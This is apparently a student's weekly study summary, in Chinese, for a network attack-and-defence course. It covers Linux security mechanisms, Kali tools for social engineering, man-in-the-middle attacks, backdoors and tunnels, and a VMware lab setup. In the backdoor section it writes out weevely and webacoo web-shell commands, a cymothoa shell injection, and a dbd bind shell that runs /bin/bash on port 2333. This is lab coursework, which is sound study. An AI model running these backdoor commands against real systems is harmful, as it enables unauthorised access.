2017-2018-2 20179215《网络攻防实践》第八周作业
《网络攻防实践》 第八周 学习总结
一、第八章教材内容总结
Linux 操作系统简介
- Linux 系统特点:
- 兼容UNIX :API 兼容,管理命令和各种工具:
- 源码开放
- 支持各种硬件平台,支持多CPU
- Linux 平台上存在大量的应用软件,以及应
- 用开发工具
- 多种不同发行版: RedHat(RHEL,Fedora, CentOS, …),Ubuntu,Debian, …
2.Linux 操作系统:
-
不是微内核系统,但具有某些微内核特征
-
Intel 版本:i386 的保护模式,特权级
- 内核态(0 )和用户态(3 )
- 中断和系统调用—— 两种特权级的切换
-
多用户,多任务,分时系统
- 多用户系统:能并发(concurrently) 和独立(independently) 地执行分别属于多个用户的若干应用程序( 任务) 的计算机.
3.Linux的进程
-
抢占式多处理(multiprocessing) 操作系统多进程并发活动,系统负责 调度硬件资源使用
-
PCB :进程控制块,常驻内存
-
进程是最基本的调度单元
- 进程是动态的,每一个进程都有一个进程控制块
- 没有专门的调度进程,内核中有一个schedule 函数完成调度任务
4.Linux的系统调用
- 编程接口,与POSIX 兼容,C 语言函数集合
- 函数名” sys_ xxx”
- 比如系统调用fork 的相应函数sys_ fork()
- 实现形式与DOS 的INT 21H 相似
- Linux 2.6 内核之前使用int 80h
- Linux 2.6 内核支持sysenter 机制
- 系统调用号和系统调用表
- 所有的系统调用只有一个入口 system_ call
- 出口: ret_ from_ sys_ call
5.Linux的内存管理
- 在i386 机器上,每个进程有独立的4G 虚存空间
- 32位线性地址—— 利用硬件的分页机制
- 内核的代码段和数据段被映射到3G 以上的空间中
- 用户态下的代码实际可申请的虚存空间为0-3GB
- 每个进程用两套段描述符来访问内存,分别用来访问内核态和用
户态下的内存空间 - 在用户态下,代码不可能访问3G 以上的地址空间,如果要访问内
核空间,必须通过系统调用或者中断 - Linux 对虚存的管理使用vma(virtual memory area) 机制
- 页交换机制:缺页中断、页面换入
6.Linux的文件系统
- Linux 支持多种文件系统,包括ext 、ext2 、hpfs 、vfat 、
ntfs 、…- 通过虚拟文件系统VFS ,Linux 操作系统可以支持不同类型
的文件系统 - 通过虚拟文件系统中的设备文件访问特定硬件设备
- 通过虚拟文件系统VFS ,Linux 操作系统可以支持不同类型
- 文件系统类型管理
- 文件系统类型的注册途径:
- 在编译内核时确定
- 在文件系统作为模块装入时登记
- 文件系统类型的注册途径:
7.Linux中网络的层次结构
Linux 的安全结构和机制
1.Linux操作系统安全机制核心
- AAA 机制
- 认证、授权与审计
- Authentication
- 身份认证:用户管理与用户身份认证
- Authorization(Access Control)
- 授权访问,访问控制:文件系统安全控制
- Accountability
- 行为审计:系统日志机制
2.Linux用户身份认证
-
本地用户登录认证:login
crypt() 函数 -
网络服务登录认证:telnet/rsh/ssh/…
ssh 的公钥非交互式远程身份认证 -
非Shell 程序的用户认证
- Apache: MD5 散列口令字(htpasswd 创建)
- Samba: smbpasswd, LANMAN 或NTLM 散列口令字
- MySQL: 存放于user 系统表, PASSWORD() 函数, 可使用
MD5 或SHA1 散列
-
Linux PAM: 用户身份认证中间件
3.PAM(Pluggable Authentication Modules)
-
一种可插入的认证机制
-
针对一个服务,指定一些认证相关的动作,放到/etc/pam.conf 文件 中,或者放到/etc/pam.d/ 下与服务同名的配置文件中
-
每一行包含一个模块类型、一个控制级别、一个模块:
service module-type control-flag module [args]
4.Linux 文件系统安全性
- 权限管理的不灵活
- 只能对所有者、所有者所在组和其他用户分配权限,无法做到进一步的细致化
- POSIX ACLs for Linux 软件包
- 内核补丁,可以做到用ACL 来管理权限
- 需要重新编译内核,下载补丁: http://acl.bestbits.at
- 两个命令:setfacl 、getfacl
- 真正删除文件
- 工具wipe
5.内核中的ROOTKIT
- 通过LKM 机制,可以在系统内核中插入木马模块
- 一个典型的以Linux 2.2.x 为基础的rootkit—— knark
- 使用insmod knark.o 就可以加载到内核中
- 一旦加载了knark 后门之后
- 可以改变netstat 的输出结果
- 可以改变运行进程的UID 和GID
- 可以不用SUID 就能够获得root 访问权限
- ……
- 还有其他的ROOTKITS ,比如adore, adore-ng
- 内核ROOTKITS 的对策
- 根据每个rootkit 的特征进行检测,然后设法删除
- 预防为主,安装内核检测系统,比如LIDS
6.xinetd配置
7./etc/services 配置文件
8.使用xinetd 实施网络访问控制
- 设置缺省的拒绝访问
- /etc/xinetd.conf 设置no_ access 属性 no_ access = 0.0.0.0
- only_ from =
- 细粒度设置网络访问控制
- xinetd.conf 的defaults 节或各个服务配置文
件 - only_from = 允许访问的IP 段、域名段
- no_access = 拒绝访问的IP 段、域名
- 内核: netfilter
- 应用层: ipfwadm -> ipchains -> iptables
- Netfilter
9、Linux内核防火墙
- 在框架中,定义了5 个钩子位置
- 在每个钩子上可以挂接多个模块
- 过滤位置: LOCAL_ IN(INPUT) 、FORWARD 、LOCAL_ OUT(OUTPUT)
- 提供多种功能
- 包过滤防火墙
- 地址转换NAT
- 网络状态检测
- ……
Linux系统远程攻击
- 口令猜测
- 攻击Linux 网络服务
- 对网络服务守护进程的数据驱动攻击
- 缓冲区溢出
- 格式化字符串
- 输入验证
- 整数溢出
- …
- 默认或有害的配置
- 攻击Linux
二、kali视频学习
31.KaliSecurity - 漏洞利用之SET
了解kali下漏洞利用工具中set工具的使用
Social Engineering Toolkit是一个开源工具,Python驱动的社会工程学渗透测试工具,提供了非常丰富的攻击向量库,是开源的社会工程学利用套件,通常结合Metasploit来使用。
1.打开终端:
2.输入1回车进入社会工程学攻击:
共有11个模块,分别为:
3.输入1进入鱼叉式钓鱼攻击:
此攻击向量主要目的为发送存在恶意软件的钓鱼邮件,相应的payload可以选择不同的漏洞(选项2):
4.返回主菜单,选2进入网站攻击框架:
5.选择3,进入介质感染攻击:
借助Autorun.inf执行Exploit得到一个返回的shell,也可以结合Metasploit的后门。
6.创建payload和监听器:
7.选择5 群发邮件攻击,支持导入列表并向列表中的每个人发送邮件
8、基于Arduino
9、短信欺骗攻击
10、无线接入点攻击:无线接入点攻击会创建一个虚拟无线AP,通过接入点ap可以抓取所有连接进来的设备流量。
11、二维码攻击:填入一个危险的URL,使得被攻击者扫描二维码自动访问页面中招
12、PowerShell攻击:针对Vista以上的PowerShell攻击模块
13、Fast-Track攻击模块
32.KaliSecurity - 嗅探欺骗与中间人攻击
了解kali下嗅探欺骗工具的使用,并完成中间人攻击实验,这里介绍进行ARP欺骗、DNS欺骗和嗅探以及会话劫持的方法。
1、为Kali设置开启端口转发
2、设置ssltrip
3、ettercap的准备
4.ettercap使用
打开图形化界面:
选择嗅探网卡 默认eth0:
打开ettercap,选择sniff选项-unified sniffing-选择网卡-hosts选项:先scan for hosts,等扫描完了选host list
5、Dsniff套装介绍
6、会话劫持
7、图片截获
8、DNS欺骗
9、URL监控
10、下载软件监控
33.KaliSecurity - 权限维持之后门
了解kali权限维持工具中后门的使用,权限维持包含Tunnel工具集、Web后门、系统后门三个子类。其中系统后门与Web后门统称为后门,都是为渗透测试后,为方便再次进入系统而留下的恶意程序。
1.weevely
生成一个php后门,weevely generate test ~/1.php, test为密码,在本地生成~/1.php,查看生成的后门:
后门上传到web,使用weevely连接:
(1)复制后门
(2)查看目标机ip
(3)ssh连接
用ssh无法连接到目标机
(4)nano 1.php 复制生成文件内容到其中
(5)使用命令weevely http://192.168.14.129/1.php test
进行连接
生成后门
查看生成的后门
nano 2.php 复制生成文件内容到其中
上传到网站后,使用webacoo连接:webacoo -t -u http://192.168.199.149/2.php
3.Cymothoa系统后门
枚举/bin/bash进程pid
cymothoa -10500 -s -0 -y 2333
(注入2333端口),如果成功,可以连接2333端口返回一个shell
4.dbd,sdb:加强版的nc
监听端:dbd -l -p 2333 -e /bin/bash -k password
攻击端:dbd 127.0.0.1 2333 -k password
5.U3-Pwn:与Metasploit Payload结合使用的工具,菜单可以单刀多针对移动光驱设备如光驱镜像,u盘等。
6.Intersect
1.列出可以使用的模块
2.创建后门脚本
3.自动添加组件。生成一个shell
4.创建后门
5.执行后门
(1)输入./1.py -b
进行绑定
(2)使用nc命令进行连接
(3)执行成功,返回一个shell
34.KaliSecurity - 权限维持之Tunnel
了解kali权限维持中tunnel工具的使用,Tunnel工具集包含了一系列用于建立通信隧道、代理的工具。
1、CryptCat:与dbd/sbd使用也类似。
2、DNS2TCP:
3、Iodine:与DNS2TCP类似
4、Miredo:Miredo是一个网络工具,主要用于BSD和Linux的IPV6 Teredo隧道转换,可以转换不支持IPV6的网络连接IPV6,内核中需要有IPV6和TUN隧道支持。
5、Proxychains:
内网渗透测试经常会用到一款工具,如我们使用Meterpreter开设一个Socks4a代理服务,通过修改/etc/prosychains.conf配置文件,加入代理,即可使其他工具如sqlmap、namp直接使用代理扫描内网。
6、Proxytunnel
7、Ptunnel:借助ICMP数据包建立隧道通信
8、Pwant:内网下通过UDP通信
9、sslh
10.stunnel
11.udptunnel
35.KaliSecurity - 逆向工程工具
了解kali下的逆向工程工具
1、Edb-Debugger
EDB(Evan's Debugger)是一个基于Qt4开发的二进制调试工具,主要是为了跟OllyDbg工具看齐,通过插件体系可以进行功能的扩充,当前只支持Linux。
2、Ollydbg
3、jad:java反编译工具
4、Redare2
5、Recstudio2
6、Apktool
9.Flasm
10.Javasnoop
三、实验:网络攻防环境搭建与测试
一个基础的网络攻防实验环境主要有如下部分构成:靶机、攻击机、攻击监测分析与防御平台、网络连接。
1.网络连接
运行在VMware虚拟机软件上操作系统的网络连接方式有三种:
-
桥接方式(Bridge):在桥接方式下,VMware模拟一个虚拟的网卡给客户系统,主系统对于客户系统来说相当于是一个桥接器。客户系统好像是有自己的网卡一样,自己直接连上网络,也就是说客户系统对于外部直接可见。
-
网络地址转换方式(NAT):在这种方式下,客户系统不能自己连接网络,而必须通过主系统对所有进出网络的客户系统收发的数据包做地址转换。在这种方式下,客户系统对于外部不可见。
-
主机方式(Host-Only):在这种方式下,主系统模拟一个虚拟的交换机,所有的客户系统通过这个交换机进出网络。在这种方式下,如果主系统是用公网IP连接Internet,那客户系统只能用私有IP。但是如果我们另外安装一个系统通过桥接方式连接Internet(这时这个系统成为一个桥接器),则我们可以设置这些客户系统的IP为公网IP,直接从这个虚拟的桥接器连接Internet。
在本环境中网络连接模式设置为桥接模式,在这一模式中应注意攻击机和靶机应处于同一网段。
2.环境搭建
攻击机:Windows XP Attacker(Windows)
靶机:Metasploitable(linux),Win2kServer_SP0_target
安装攻击机:
(1)解压WinXPattacker的rar镜像到某一目录
(2)文件 --> 打开,选择你的解压目录,选择相应vmx文件
(3)配置攻击机虚拟机的硬件
查看攻击机ip:
安装靶机:
(1)解压Win2kServer_SP0_target的rar镜像到某一目录
(2)文件 --> 打开,选择你的解压目录,选择相应vmx文件
(3)配置靶机虚拟机的硬件
查看靶机ip: